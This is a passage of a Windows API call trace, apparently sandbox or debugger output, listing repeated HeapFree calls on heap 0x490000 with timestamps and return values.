HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.942] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.944] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.290] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.293] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.298] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.300] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.302] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.305] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.307] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.310] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.312] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.314] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.317] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.319] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.319] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e9ba90 | out: hHeap=0x490000) returned 1 [0074.319] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0074.327] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0074.797] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.799] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.800] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.802] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.804] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.807] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.809] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.811] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.813] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.815] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.817] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.820] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.822] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0074.824] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.165] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.168] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.170] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.172] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.176] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.178] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.181] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.183] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.185] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.191] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.193] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.195] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.197] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.200] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.327] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.329] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.331] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.333] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.336] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.338] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.340] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.342] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.344] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.346] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.348] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.410] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.413] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.415] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.418] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.418] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0075.425] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.429] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.432] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.437] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.440] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.443] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.638] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.638] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.640] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.642] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.644] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.646] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.708] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.710] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.712] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.714] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.716] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.718] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.796] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.800] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.803] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.806] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.809] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.812] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.815] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.822] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.825] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.830] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0075.833] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.076] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.078] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.146] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.146] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.146] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.149] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.149] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.149] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.149] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.149] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.149] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.149] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.150] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.150] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.150] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.151] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.152] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.152] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.153] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.153] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.154] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.155] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.155] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.156] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.157] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.157] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.157] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.158] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.159] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.159] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.163] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.166] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.169] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.173] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.176] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.180] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.182] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.437] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.441] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.443] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.445] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.447] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.449] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.452] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0076.452] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0076.458] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0076.460] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0076.460] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.463] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.465] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.845] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0076.845] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.846] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.846] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0076.846] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.878] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.878] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.879] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.880] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.880] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.880] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0076.882] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0076.882] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.883] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.887] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.889] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0077.155] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0077.156] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.160] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.164] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0077.164] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0077.165] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0077.165] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.169] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.169] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0077.173] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.174] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.174] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0077.725] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0077.741] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0077.748] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.750] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.751] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.752] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.753] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.754] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.755] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.756] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.757] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.758] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.759] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.761] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.764] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.767] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.769] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.770] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.771] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.772] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.773] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.774] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.775] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.776] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.777] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.778] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.780] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.781] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.383] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.387] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.387] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.387] HeapFree (in: hHeap=0x490000, dwFlags=0x0, 